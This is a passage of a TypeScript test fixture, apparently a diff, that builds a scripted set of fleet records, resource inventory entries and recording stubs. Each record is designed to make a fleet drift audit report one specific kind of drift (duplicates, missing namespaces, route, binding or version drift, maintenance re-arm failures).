(the `database-mismatch`, + * `duplicate-database`, `duplicate-namespace`, and `version-drift` + * checks that compare against `backend.inspect()`'s OWN reported + * identity, not the per-record inventory entry) — pinned instead by + * `test/fleet.test.ts:803` ("finds duplicate ownership, version drift, + * and re-arms stale maintenance"); `duplicate-database` (fleet.ts:1300) + * has no story in this world at all. + * - fleet.ts:1393 (`maintenance re-arm failed`) IS covered here (by + * `rearmFail`, below), so `test/fleet.test.ts:2384`'s pin of the same + * site is redundant with this world, not a gap it fills. + * - fleet.ts:581-608 and the fleet.ts:866 `continue` (the active-bounded- + * cleanup suppression branch) — no record in this world has an active + * cleanup, so the branch is deliberately unexercised here; pinned + * instead by `test/fleet.test.ts:2454` ("suppresses drift findings in + * both directions for a deployment under active bounded cleanup") and + * `test/fleet.test.ts:2536` ("reports no incomplete provisioning for a + * stale blocked cleanup record"). + */ + +import { auditFleetDrift, type DriftFinding } from '../../src/fleet.js'; +import { providerBindingIdentitiesForInspection } from '../../src/provider-binding-inventory.js'; +import type { + ActiveRouteAttestation, + CleanupTerminalReceipt, + DatabaseExport, + DatabaseReference, + DeploymentSpec, + ExternalMutationFence, + FleetInventoryDeployment, + FleetRecord, + FleetResourceInventory, + FleetStateLease, + FleetStateStore, + LiveDeployment, + MaintenanceHealth, + ProvisioningBackend, + ProvisioningBackendKind, + SeedDeploymentIdentityOptions, +} from '../../src/types.js'; + +const ENVIRONMENT = 'production'; +const SPEC_DIGEST = 'a'.repeat(64); + +/** Frozen clock: every staleness comparison and the re-arm authority clock. */ +const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); +const AUDIT_STALE_AFTER_MS = 3_600_000; + +const FRESH_UPDATED_AT = new Date(AUDIT_NOW - 30 * 60_000).toISOString(); +const STALE_UPDATED_AT = new Date( + AUDIT_NOW - 10 * AUDIT_STALE_AFTER_MS, +).toISOString(); + +const HEALTHY_MAINTENANCE: MaintenanceHealth = { + armed: true, + nextAlarmAt: AUDIT_NOW + 60_000, + lastSweepAt: AUDIT_NOW - 60_000, + lastPurgeAt: AUDIT_NOW - 60_000, +}; + +const UNARMED_MAINTENANCE: MaintenanceHealth = { + armed: false, + nextAlarmAt: null, + lastSweepAt: null, + lastPurgeAt: null, +}; + +function baseRecord( + tenantTag: string, + overrides: Partial = {}, +): FleetRecord { + return { + tenantTag, + backend: 'plain-worker', + environment: ENVIRONMENT, + scriptName: `${tenantTag}-worker`, + databaseId: `db-${tenantTag}`, + databaseName: `database-${tenantTag}`, + schemaVersion: 1, + artifactVersion: 'v1', + desiredSpecDigest: SPEC_DIGEST, + durableObjectBindings: [ + { name: 'RUNNER', className: 'Runner', namespaceId: `ns-${tenantTag}` }, + ], + routeHostname: `${tenantTag}.example.test`, + phase: 'ready', + updatedAt: FRESH_UPDATED_AT, + ...overrides, + }; +} + +function specForRecord( + record: FleetRecord, + overrides: Partial = {}, +): DeploymentSpec { + return { + tenantTag: record.tenantTag, + environment: record.environment, + scriptName: record.scriptName, + databaseName: record.databaseName, + compatibilityDate: '2026-05-01', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'external', + schemaVersion: record.schemaVersion, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: `https://control-${record.scriptName}.example.test`, + routeHostname: record.routeHostname, + ...overrides, + }; +} + +/** A live inspection result that matches `record` exactly (no drift). */ +function cleanLiveDeployment( + record: FleetRecord, + overrides: Partial = {}, +): LiveDeployment { + const base = { + tenantTag: record.tenantTag, + environment: record.environment, + scriptName: record.scriptName, + databaseId: record.databaseId, + durableObjectBindings: record.durableObjectBindings, + plainTextBindings: {}, + secretNames: [] as readonly string[], + artifactVersion: record.artifactVersion, + desiredSpecDigest: record.desiredSpecDigest, + schemaVersion: record.schemaVersion, + maintenance: HEALTHY_MAINTENANCE, + ...overrides, + }; + return { + ...base, + providerBindingIdentities: providerBindingIdentitiesForInspection({ + ...base, + databaseIds: [base.databaseId], + }), + }; +} + +/** A live inventory deployment entry that matches `record` exactly. */ +function cleanInventoryDeployment( + record: FleetRecord, + overrides: Partial = {}, +): FleetInventoryDeployment { + return { + backend: record.backend, + scriptName: record.scriptName, + tenantTag: record.tenantTag, + environment: record.environment, + databaseIds: [record.databaseId], + durableObjectBindings: record.durableObjectBindings, + secretNames: [], + plainTextBindings: {}, + routeHostnames: [record.routeHostname], + artifactVersion: record.artifactVersion, + desiredSpecDigest: record.desiredSpecDigest, + schemaVersion: record.schemaVersion, + ...overrides, + }; +} + +function cleanRoute( + record: FleetRecord, + overrides: Partial = {}, +): FleetResourceInventory['routes'][number] { + return { + backend: record.backend, + hostname: record.routeHostname, + scriptName: record.scriptName, + tenantTag: record.tenantTag, + environment: record.environment, + ...overrides, + }; +} + +// --------------------------------------------------------------------------- +// Records. Each comment cites the fleet.ts:line the record targets. +// --------------------------------------------------------------------------- + +/** A fully healthy deployment: proves the audit does not false-positive. */ +const control = baseRecord('control'); + +/** + * Two live `inventory.deployments` entries answer this record's one expected + * script key -> fleet.ts:680 `duplicate-deployment` ("appears N times"). + */ +const livedup = baseRecord('livedup'); + +/** + * Two records share `scriptName` ("shared-record-script"), so both fall + * under one `recordsByScript` key with two members -> fleet.ts:871 + * `duplicate-deployment` ("is registered N times"), for BOTH records. `b` is + * phase `worker-deployed` (not `ready`) so it exits at the fleet.ts:965 gate + * before any of the ready-only per-record checks can also fire. + */ +const recdupA = baseRecord('recdupa', { scriptName: 'shared-record-script' }); +const recdupB = baseRecord('recdupb', { + scriptName: 'shared-record-script', + phase: 'worker-deployed', +}); + +/** + * Two records both declare `durableObjectBindings` under the SAME namespace + * id -> fleet.ts:766 `duplicate-namespace` (expected side), for the second + * one processed. + */ +const SHARED_EXPECTED_NAMESPACE = 'ns-shared-expected'; +const dupexpnsA = baseRecord('dupexpnsa', { + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: SHARED_EXPECTED_NAMESPACE, + }, + ], +}); +const dupexpnsB = baseRecord('dupexpnsb', { + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: SHARED_EXPECTED_NAMESPACE, + }, + ], +}); + +/** + * Expects a namespace id absent from `inventory.namespaceIds` -> fleet.ts:776 + * `missing-namespace`. + */ +const MISSING_EXPECTED_NAMESPACE = 'ns-missing-expected'; +const missingns = baseRecord('missingns', { + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: MISSING_EXPECTED_NAMESPACE, + }, + ], +}); + +/** + * Two records both claim the same R2 bucket -> fleet.ts:811 `r2-bucket-drift` + * ("claimed by more than one deployment"), for the second one processed. + */ +const SHARED_BUCKET_CREATION_DATE = '2026-01-01T00:00:00.000Z'; +const r2dupA = baseRecord('r2dupa', { + applicationResources: [ + { + name: 'EXPORTS', + bucketName: 'shared-bucket', + jurisdiction: 'default', + state: 'created', + reservationNonce: 'nonce-r2dupa', + creationDate: SHARED_BUCKET_CREATION_DATE, + }, + ], +}); +const r2dupB = baseRecord('r2dupb', { + applicationResources: [ + { + name: 'EXPORTS', + bucketName: 'shared-bucket', + jurisdiction: 'default', + state: 'created', + reservationNonce: 'nonce-r2dupb', + creationDate: SHARED_BUCKET_CREATION_DATE, + }, + ], +}); + +/** Claims a bucket absent from `inventory.r2Buckets` -> fleet.ts:844 `missing-r2-bucket`. */ +const r2missing = baseRecord('r2missing', { + applicationResources: [ + { + name: 'EXPORTS', + bucketName: 'bucket-missing', + jurisdiction: 'default', + state: 'created', + reservationNonce: 'nonce-r2missing', + creationDate: '2026-01-01T00:00:00.000Z', + }, + ], +}); + +/** + * Claims a bucket present in `inventory.r2Buckets` under a different + * jurisdiction and creation date -> fleet.ts:854 `r2-bucket-drift` ("changed + * its persisted creation identity"). + */ +const r2drift = baseRecord('r2drift', { + applicationResources: [ + { + name: 'EXPORTS', + bucketName: 'bucket-drift', + jurisdiction: 'default', + state: 'created', + reservationNonce: 'nonce-r2drift', + creationDate: '2026-02-01T00:00:00.000Z', + }, + ], +}); + +/** No live deployment at all answers this record's expected key -> fleet.ts:672 `missing-deployment`. */ +const missingDeploy = baseRecord('missingdeploy'); + +/** The live inventory deployment's `databaseIds` mismatch -> fleet.ts:974 `database-mismatch`. */ +const dbMismatch = baseRecord('dbmismatch'); + +/** The live inventory deployment's Durable Object bindings mismatch -> fleet.ts:1012 `binding-drift`. */ +const bindingMismatch = baseRecord('bindingmismatch'); + +/** + * No live deployment route and no matching `inventory.routes` entry -> + * fleet.ts:996 `route-drift` ("does not contain exactly route") AND + * fleet.ts:1036 `route-drift` ("is missing or mismatched"). + */ +const routeBroken = baseRecord('routebroken'); + +/** Two `inventory.routes` entries share this record's hostname -> fleet.ts:1021 `duplicate-route`. */ +const routeDup = baseRecord('routedup'); + +/** + * Declares `platformResources.stateWorker` AND `platformResources.egressProxy`. + * Each declared worker's one matching live deployment entry carries the + * wrong ownership metadata (no `resourceRole`, wrong `resourceGroupId`) -> + * fleet.ts:1146 `version-drift` ("has drifted ownership or artifact + * metadata"), fired ONCE PER WORKER (two `version-drift` findings). The + * state worker's live entry ALSO carries the wrong database/binding count + * -> fleet.ts:1224 `binding-drift` ("trusted state Worker ... has drifted + * database, Durable Object, or egress bindings"). The egress worker's live + * entry has no `plainTextBindings` at all, and since + * `options.inventory.hostRoutingKvId` is never set in this world, + * fleet.ts:1245's `!options.inventory.hostRoutingKvId` disjunct alone + * guarantees fleet.ts:1256 `binding-drift` ("trusted egress Worker ... has + * drifted policy or attribution bindings") ADDITIONALLY. + * + * This record ALSO carries the world's only multi-namespace-id story + * (§8.6): a second `durableObjectBindings` entry reuses + * `SHARED_EXPECTED_NAMESPACE` (already claimed by `dupexpnsa`/`dupexpnsb` + * above), so this record's OWN pass through the fleet.ts:762 inner loop + * lands the namespace's THIRD claimant, landing the world's second + * `duplicate-namespace` finding; a populated + * `platformResources.stateWorker.namespaceIds` adds a namespace id present + * nowhere in the inventory, landing a `missing-namespace` finding in the + * same inner loop. The two land on different fleet.ts:762 arms within one + * record's iteration, proving the loop actually iterates more than once. + */ +const PLATFORM_STATE_SCRIPT_NAME = 'platform-drift-state-worker'; +const PLATFORM_EGRESS_SCRIPT_NAME = 'platform-drift-egress-worker'; +const PLATFORM_STATE_MISSING_NAMESPACE = 'ns-platformdrift-missing'; +const platformDrift = baseRecord('platformdrift', { + durableObjectBindings: [ + { name: 'RUNNER', className: 'Runner', namespaceId: 'ns-platformdrift' }, + { + name: 'STATE_MIRROR', + className: 'Runner', + namespaceId: SHARED_EXPECTED_NAMESPACE, + }, + ], + platformResources: { + maintenanceCapabilityPublicKey: 'maintenance-capability-public-key-fixture', + stateWorker: { + scriptName: PLATFORM_STATE_SCRIPT_NAME, + artifactVersion: 'state-v1', + artifactDigest: 'b'.repeat(64), + durableObjectBindings: [], + namespaceIds: [PLATFORM_STATE_MISSING_NAMESPACE], + }, + egressProxy: { + scriptName: PLATFORM_EGRESS_SCRIPT_NAME, + artifactVersion: 'egress-v1', + artifactDigest: 'c'.repeat(64), + policyId: 'policy-platformdrift', + policyHosts: ['api.example.test'], + policyDigest: 'd'.repeat(64), + }, + }, +}); + +/** + * `spec.authoredBy` is `platform` with an `egressProxyService` declared, so + * fleet.ts:1071-1073 expects one `EGRESS_PROXY` service binding on the live + * deployment; the clean inventory entry never sets `serviceBindings` + * (defaults to none) -> fleet.ts:1091 `binding-drift` ("drifted trusted + * channel bindings"). + */ +const CHANNEL_EGRESS_SERVICE_NAME = 'channel-egress-worker'; +const channelDrift = baseRecord('channeldrift'); + +/** `backend.inspect()` returns `undefined` -> fleet.ts:1282 `missing-deployment` ("script is absent"). */ +const inspectAbsent = baseRecord('inspectabsent'); + +/** + * Unarmed live maintenance drives the full re-arm sequence to a successful + * commit -> fleet.ts:1353 `maintenance-stale`, and the op log's + * `withDeploymentLease`/`get`/`put`/`assertOwned:`/`ensureMaintenance` + * sequence (fleet.ts:1360-1391). No prior `invocationAuthority`, so + * `commitInvocationAuthority` performs the `put`. + */ +const maintStale = baseRecord('maintstale'); + +/** + * Unarmed live maintenance triggers the same re-arm sequence, but + * `backend.ensureMaintenance()` throws -> fleet.ts:1353 `maintenance-stale` + * THEN fleet.ts:1393 `audit-error` ("maintenance re-arm failed:"). + */ +const rearmFail = baseRecord('rearmfail'); + +/** + * Phase is not `ready` and `updatedAt` is stale -> fleet.ts:887 + * `incomplete-provisioning`. Not a `CLEANLY_INVENTORIED_RECORDS` member, so + * its own script and expected namespace are absent from inventory too -> + * fleet.ts:672 `missing-deployment` and fleet.ts:776 `missing-namespace` + * also fire, as accepted collateral of that omission (this record's story + * is incomplete-provisioning, not inventory cleanliness). + */ +const staleNotReady = baseRecord('stalenotready', { + phase: 'worker-deployed', + updatedAt: STALE_UPDATED_AT, +}); + +/** + * A workers-for-platforms record whose `pendingRelease` AND `activeRelease` + * live entries BOTH mismatch their persisted identity — the pending live + * entry sets no `desiredSpecDigest` at all; the active live entry mismatches + * `artifactVersion` — so fleet.ts:909 `version-drift` fires TWICE, once per + * release. Its `pendingRelease` carries no `topology` -> fleet.ts:928 + * `audit-error` ("has no durable binding topology"), fired ONCE (pending + * only; `activeRelease` has a topology, so it falls to the fleet.ts:934 + * comparison instead). The active release's live entry ALSO mismatches + * `databaseIds` -> fleet.ts:920 `database-mismatch`, and mismatches Durable + * Object topology -> fleet.ts:957 `binding-drift` (both fired ONCE, active + * only — the pending release's own `databaseIds` matches, and its missing + * topology short-circuits it out of the fleet.ts:934 comparison). Phase + * `worker-deployed` keeps this record out of the ready-only per-record + * checks (fleet.ts:965 gate). + */ +const WFP_ACTIVE_PHYSICAL_NAME = 'wfp-release-active'; +const WFP_PENDING_PHYSICAL_NAME = 'wfp-release-pending'; +const wfpRelease: FleetRecord = baseRecord('wfprelease', { + backend: 'workers-for-platforms', + scriptName: 'wfp-release-worker', + phase: 'worker-deployed', + durableObjectBindings: [], + activeRelease: { + physicalScriptName: WFP_ACTIVE_PHYSICAL_NAME, + specDigest: SPEC_DIGEST, + artifactVersion: 'release-v1', + releaseSchemaVersion: 1, + topology: { + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: 'ns-wfp-active-expected', + }, + ], + serviceBindings: [], + queueProducerBindings: [], + secretNames: [], + }, + }, + pendingRelease: { + physicalScriptName: WFP_PENDING_PHYSICAL_NAME, + specDigest: SPEC_DIGEST, + artifactVersion: 'release-v2-pending', + releaseSchemaVersion: 1, + // No `topology`: fleet.ts:927-933's `!release.topology` arm. + }, +}); + +const AUDIT_WORLD_RECORDS: readonly FleetRecord[] = [ + control, + livedup, + recdupA, + recdupB, + dupexpnsA, + dupexpnsB, + missingns, + r2dupA, + r2dupB, + r2missing, + r2drift, + missingDeploy, + dbMismatch, + bindingMismatch, + routeBroken, + routeDup, + platformDrift, + channelDrift, + inspectAbsent, + maintStale, + rearmFail, + staleNotReady, + wfpRelease, +]; + +// --------------------------------------------------------------------------- +// Inventory: derived cleanly from the records above, then mutated per story. +// --------------------------------------------------------------------------- + +/** + * Records whose own worker/database/route inventory entries stay clean + * (matching exactly), so their ONLY drift comes from the deliberate mutation + * their story adds elsewhere (an extra live entry, a missing entry, an R2 + * fixture, or a `platformResources` mismatch). This list ALSO governs the + * namespace axis below: a member's own `durableObjectBindings` namespace ids + * are folded into `fleetAuditWorldInventory()`'s `namespaceIds` (via the + * flatMap in `fleetAuditWorldInventory`, minus `missingns` — see its + * exclusion there), so only a member's expected namespace stays "clean"; + * two further ids are whitelisted explicitly below. + * + * The seven non-members (`recdupB`, `missingDeploy`, `dbMismatch`, + * `bindingMismatch`, `routeBroken`, `staleNotReady`, `wfpRelease`) each + * leak collateral on the axis their story doesn't isolate. Six of them + * (all but `wfpRelease`, whose one expected namespace id is explicitly + * whitelisted below) ALSO leak a `missing-namespace` finding for their own + * expected namespace id. That collateral is accepted, not isolated: unlike + * the database/route axis, where `dbMismatch`/`bindingMismatch`/ + * `routeBroken` each get an explicit `databaseIds.push`/`routes.push` below + * to neutralize the OTHER axes for their specific story, no equivalent + * per-record `namespaceIds.push` exists to neutralize this one. + */ +const CLEANLY_INVENTORIED_RECORDS: readonly FleetRecord[] = [ + control, + livedup, + recdupA, + dupexpnsA, + dupexpnsB, + missingns, + r2dupA, + r2dupB, + r2missing, + r2drift, + routeDup, + platformDrift, + channelDrift, + inspectAbsent, + maintStale, + rearmFail, +]; + +function fleetAuditWorldInventory(): FleetResourceInventory { + // `scriptRegistrations` models a workers-for-platforms dispatch + // registration: fleet.ts:618-634's orphan check always keys it as + // `workers-for-platforms:`, regardless of a registration's own + // fields, so a plain-worker record must never get one — only `wfpRelease` + // (backend `workers-for-platforms`) and the deliberate fleet.ts:629 ghost + // below need entries here. + const scriptRegistrations: FleetResourceInventory['scriptRegistrations'][number][] = + []; + const deployments = CLEANLY_INVENTORIED_RECORDS.map((record) => + cleanInventoryDeployment(record), + ); + const databaseIds = CLEANLY_INVENTORIED_RECORDS.map( + (record) => record.databaseId, + ); + const namespaceIds = [ + ...new Set([ + // `missingns` is excluded here (but stays a CLEANLY_INVENTORIED_RECORDS + // member for deployments/databaseIds/routes): its whole story is that + // `MISSING_EXPECTED_NAMESPACE` is absent from fleet inventory + // (fleet.ts:776), so folding its own expected namespace id into this + // derivation — the opposite of its design — would silently launder it + // into "present" and defeat the story. + ...CLEANLY_INVENTORIED_RECORDS.filter( + (record) => record !== missingns, + ).flatMap((record) => + record.durableObjectBindings.map((binding) => binding.namespaceId), + ), + SHARED_EXPECTED_NAMESPACE, + 'ns-wfp-active-expected', + ]), + ]; + const routes = CLEANLY_INVENTORIED_RECORDS.map((record) => + cleanRoute(record), + ); + + // fleet.ts:629 — a registered script with no live fleet owner at all. + scriptRegistrations.push({ + scriptName: 'ghost-registered-script', + tenantTag: 'ghost-registration', + environment: ENVIRONMENT, + databaseId: 'db-ghost-registration', + routeHostname: 'ghost-registration.example.test', + }); + + // fleet.ts:647 — an unregistered live script with no owning record. + deployments.push({ + backend: 'plain-worker', + scriptName: 'ghost-live-script', + tenantTag: 'ghost-live', + environment: ENVIRONMENT, + databaseIds: ['db-ghost-live'], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: ['ghost-live.example.test'], + artifactVersion: 'v1', + schemaVersion: 1, + }); + + // fleet.ts:680 — a second live entry answering `livedup`'s expected key. + // `routeHostnames: []` keeps this second entry from ALSO satisfying + // fleet.ts:981-989's per-record route-ownership count, which only wants + // exactly one owning live entry; two identical route claims would trip + // fleet.ts:996 too. + deployments.push( + cleanInventoryDeployment(livedup, { + tenantTag: 'livedup-ghost-owner', + routeHostnames: [], + }), + ); + + // fleet.ts:871 — the second `recdupb` claimant of `shared-record-script` + // is deliberately NOT added here: `recdupA`'s clean entry is the only live + // deployment under that script name, which is what makes `recdupB`'s own + // `recordsByScript` lookup see two RECORDS behind one live entry. + + // fleet.ts:697 — an unregistered database id. + databaseIds.push('db-orphan-ghost'); + + // fleet.ts:731 — a route with no owning record. + routes.push({ + backend: 'plain-worker', + hostname: 'orphan-route.example.test', + scriptName: 'nonexistent-script', + tenantTag: 'orphan-route-owner', + environment: ENVIRONMENT, + }); + + // fleet.ts:753 — an unregistered namespace id. + namespaceIds.push('ns-orphan-ghost'); + + // fleet.ts:1021 — a second route sharing `routeDup`'s hostname. + routes.push(cleanRoute(routeDup, { scriptName: 'route-dup-ghost-script' })); + + const r2Buckets: NonNullable = [ + // fleet.ts:811's second claimant (`r2dupB`) is deliberately NOT added + // as its own live bucket: the single `shared-bucket` entry below is + // what both records compete over. + { + bucketName: 'shared-bucket', + jurisdiction: 'default', + creationDate: SHARED_BUCKET_CREATION_DATE, + }, + // fleet.ts:854 — present, but under a different jurisdiction/creation + // date than `r2drift`'s persisted claim. + { + bucketName: 'bucket-drift', + jurisdiction: 'eu', + creationDate: '2026-03-01T00:00:00.000Z', + }, + // fleet.ts:833 — an unclaimed live bucket. + { + bucketName: 'bucket-orphan-ghost', + jurisdiction: 'default', + creationDate: '2026-01-01T00:00:00.000Z', + }, + ]; + + // fleet.ts:974 — the live deployment's databaseIds mismatch the record. + // `dbMismatch.databaseId` itself is added to the top-level `databaseIds` + // list so fleet.ts:970-972's THIRD conjunct + // (`!options.inventory.databaseIds.includes(record.databaseId)`) does not + // ALSO fire on its own, and a clean route entry keeps fleet.ts:996/:1036 + // from firing alongside the deliberate database mismatch. + databaseIds.push(dbMismatch.databaseId); + deployments.push( + cleanInventoryDeployment(dbMismatch, { + databaseIds: ['db-dbmismatch-wrong'], + }), + ); + routes.push(cleanRoute(dbMismatch)); + + // fleet.ts:1012 — the live deployment's Durable Object bindings mismatch. + // Same THIRD-conjunct and route-cleanliness reasoning as `dbMismatch`. + databaseIds.push(bindingMismatch.databaseId); + deployments.push( + cleanInventoryDeployment(bindingMismatch, { + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: 'ns-bindingmismatch-wrong', + }, + ], + }), + ); + // Unlike the two pushes above, this one ADDS orphan-namespace collateral + // (`findings[10]`) rather than suppressing another axis: `ns-bindingmismatch-wrong` + // is nobody's expected namespace, so it lands its own finding instead of + // neutralizing one for `bindingMismatch`. + namespaceIds.push('ns-bindingmismatch-wrong'); + routes.push(cleanRoute(bindingMismatch)); + + // fleet.ts:996/:1036 — `routeBroken` gets a live deployment (so its + // registry/provider-inventory presence checks pass cleanly) but NO + // route in either `routeHostnames` or `inventory.routes`. Its own + // `databaseId` is still added to the top-level list so fleet.ts:970-972's + // database check does not ALSO fire alongside the deliberate route drift. + databaseIds.push(routeBroken.databaseId); + deployments.push( + cleanInventoryDeployment(routeBroken, { routeHostnames: [] }), + ); + + // fleet.ts:1146/:1224 — the one live deployment behind `platformDrift`'s + // declared `stateWorker`, with wrong ownership metadata (no + // `resourceRole`, wrong `resourceGroupId`/`artifactVersion`) and a + // `databaseIds` count that can never equal 1's worth of the expected + // binding/database identity. + deployments.push({ + backend: 'plain-worker', + scriptName: PLATFORM_STATE_SCRIPT_NAME, + tenantTag: platformDrift.tenantTag, + environment: ENVIRONMENT, + resourceGroupId: 'wrong-resource-group', + databaseIds: [], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'state-v0-wrong', + schemaVersion: 1, + }); + // No `scriptRegistrations` entry for the state-worker key: it is + // `plain-worker`-backed, so fleet.ts:659-666's `registered` check is + // unconditionally true for it regardless (`expected.backend !== + // 'workers-for-platforms'`), and — as fleet.ts:629's ghost registration + // above demonstrates — ANY `scriptRegistrations` entry is read as a + // workers-for-platforms dispatch registration by fleet.ts:618-634's own + // orphan check, so adding one here would wrongly orphan this script. + + // fleet.ts:1256 — the one live deployment behind `platformDrift`'s + // declared `egressProxy`. `options.inventory.hostRoutingKvId` is never + // set in this world, so fleet.ts:1245's `!options.inventory.hostRoutingKvId` + // disjunct alone guarantees the drift regardless of every other field. + deployments.push({ + backend: 'plain-worker', + scriptName: PLATFORM_EGRESS_SCRIPT_NAME, + tenantTag: platformDrift.tenantTag, + environment: ENVIRONMENT, + resourceGroupId: 'wrong-resource-group', + databaseIds: [], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'egress-v0-wrong', + schemaVersion: 1, + }); + + // fleet.ts:1091 — `channelDrift` is already in `CLEANLY_INVENTORIED_RECORDS`, + // which gives it its ONE clean live deployment entry (`serviceBindings` + // deliberately left unset there — it is what fleet.ts:1085-1090 compares + // against the channel service its `platform`-authored spec expects); no + // second entry is added here. + + // fleet.ts:909/:920/:928/:957 — the WfP release-snapshot story. Both + // physical release script names get exactly one live deployment and one + // registration (so the pre-per-record loop sees them as present and + // registered, never orphaned or duplicated); the active release's live + // entry deliberately mismatches artifact version, database id, and + // Durable Object topology against `wfpRelease.activeRelease`. + scriptRegistrations.push( + { + scriptName: WFP_ACTIVE_PHYSICAL_NAME, + tenantTag: wfpRelease.tenantTag, + environment: ENVIRONMENT, + databaseId: wfpRelease.databaseId, + routeHostname: wfpRelease.routeHostname, + }, + { + scriptName: WFP_PENDING_PHYSICAL_NAME, + tenantTag: wfpRelease.tenantTag, + environment: ENVIRONMENT, + databaseId: wfpRelease.databaseId, + routeHostname: wfpRelease.routeHostname, + }, + ); + deployments.push( + { + backend: 'workers-for-platforms', + scriptName: WFP_ACTIVE_PHYSICAL_NAME, + tenantTag: wfpRelease.tenantTag, + environment: ENVIRONMENT, + databaseIds: ['db-wfp-active-wrong'], + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: 'ns-wfp-active-live-wrong', + }, + ], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'release-v1-wrong-live', + schemaVersion: 1, + }, + { + backend: 'workers-for-platforms', + scriptName: WFP_PENDING_PHYSICAL_NAME, + tenantTag: wfpRelease.tenantTag, + environment: ENVIRONMENT, + databaseIds: [wfpRelease.databaseId], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'release-v2-pending', + schemaVersion: 1, + }, + ); + + return { + // fleet.ts:574 — the seed: every provider-supplied finding is copied + // verbatim into the result, ahead of anything the audit itself adds. + findings: [ + { + tenantTag: 'seed-provider', + environment: ENVIRONMENT, + kind: 'stale-route', + detail: 'seeded provider finding carried through the golden baseline', + }, + ], + scriptRegistrations, + deployments, + databaseIds, + namespaceIds, + r2Buckets, + routes, + }; +} + +// --------------------------------------------------------------------------- +// Recording collaborators: store, backend, and resolver wrappers. +// --------------------------------------------------------------------------- + +/** + * The frozen vocabulary of collaborator interactions this world's op log can + * record. `list`/`renew`/`delete` are defensive: the recording `store` and + * `lease` still push them if called, but the pre-decomposition + * `auditFleetDrift` never calls `store.list()`, `lease.renew()`, or + * `lease.delete()`, so they never appear in the recorded baseline. + */ +export type AuditOpLogEntry = + | 'withDeploymentLease' + | 'get' + | 'put' + | 'inspect' + | 'ensureMaintenance' + | 'list' + | 'renew' + | 'delete' + | `resolver:${string}` + | `assertOwned:${string}`; + +class RecordingFleetStore implements FleetStateStore { + private readonly records = new Map(); + /** + * Fence violations recorded across the write-path clock fence below and + * the `RecordingBackend` credential-delivery pins, which share this same + * array — see the post-run throw in `runFleetAuditBaseline`. + */ + readonly fenceViolations: string[] = []; + + constructor( + records: readonly FleetRecord[], + private readonly ops: AuditOpLogEntry[], + ) { + for (const record of records) { + this.records.set(`${record.tenantTag}:${record.environment}`, record); + } + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + operation: (lease: FleetStateLease) => Promise, + ): Promise { + this.ops.push('withDeploymentLease'); + const key = `${tenantTag}:${environment}`; + return operation({ + tenantTag, + environment, + mutationLeaseTtlMs: 900_000, + assertOwned: async () => { + this.ops.push(`assertOwned:${key}`); + }, + renew: async () => { + this.ops.push('renew'); + }, + put: async (record) => { + // Pins §6.1's authority clock wiring: `commitInvocationAuthority` + // must stamp `updatedAt` from the audited authority clock + // (`options.now`), not a bare `Date.now()`. The audit re-wired to + // the latter must fail loudly, not pass silently through to a + // baseline that would then encode the wrong clock as "correct". The + // throw below surfaces as an `audit-error` finding inside + // `auditFleetDrift` (fleet.ts:1392-1399 swallows it — fail-soft by + // design), same as the credential-delivery pins in + // `RecordingBackend.ensureMaintenance`/`inspect` below, which record + // into this same `fenceViolations` array; `runFleetAuditBaseline`'s + // post-run throw — a fresh Error aggregating the recorded + // fence-violation messages — is what makes the recorder and golden + // test fail loudly instead. + if (record.updatedAt !== new Date(AUDIT_NOW).toISOString()) { + const message = `re-arm put payload updatedAt '${record.updatedAt}' does not match the authority clock`; + this.fenceViolations.push(message); + throw new Error(message); + } + this.ops.push('put'); + this.records.set(key, record); + }, + delete: async () => { + this.ops.push('delete'); + this.records.delete(key); + }, + completeCleanup: async (): Promise => { + throw new Error('unused'); + }, + deleteReleasingClaims: async (): Promise => { + throw new Error('unused'); + }, + }); + } + + async get( + tenantTag: string, + environment: string, + ): Promise { + this.ops.push('get'); + return this.records.get(`${tenantTag}:${environment}`); + } + + async list(): Promise { + this.ops.push('list'); + return [...this.records.values()]; + } + + async readCleanupReceipt(): Promise { + throw new Error('unused'); + } + + async pruneCleanupReceipts(): Promise> { + throw new Error('unused'); + } +} + +class RecordingBackend implements ProvisioningBackend { + readonly kind: ProvisioningBackendKind; + + constructor( + kind: ProvisioningBackendKind, + private readonly ops: AuditOpLogEntry[], + private readonly liveByTenant: ReadonlyMap< + string, + LiveDeployment | undefined + >, + private readonly ensureMaintenanceThrowTenants: ReadonlySet, + private readonly fenceViolations: string[], + ) { + this.kind = kind; + } + + async findDatabase(): Promise { + throw new Error('unused'); + } + + async getDatabase(): Promise { + throw new Error('unused'); + } + + async ensureDatabase(): Promise { + throw new Error('unused'); + } + + async seedDeploymentIdentity( + _database: DatabaseReference, + _tenantTag: string, + _fence: ExternalMutationFence, + _options: SeedDeploymentIdentityOptions, + ): Promise { + throw new Error('unused'); + } + + async readDeploymentIdentity(): Promise { + throw new Error('unused'); + } + + async applyMigrations(): Promise { + throw new Error('unused'); + } + + async deployWorker(): Promise<{ + artifactVersion: string; + created: boolean; + }> { + throw new Error('unused'); + } + + async promoteWorker(): Promise { + throw new Error('unused'); + } + + // Argument-delivery pins: record A's credentials must never reach record + // B's calls. + async ensureMaintenance( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + lease: FleetStateLease, + ): Promise { + this.ops.push('ensureMaintenance'); + if (maintenanceAdminSecret !== `maintenance-secret-${spec.tenantTag}`) { + const message = `ensureMaintenance received the wrong maintenance secret for '${spec.tenantTag}'`; + this.fenceViolations.push(message); + throw new Error(message); + } + if (lease.tenantTag !== spec.tenantTag) { + const message = 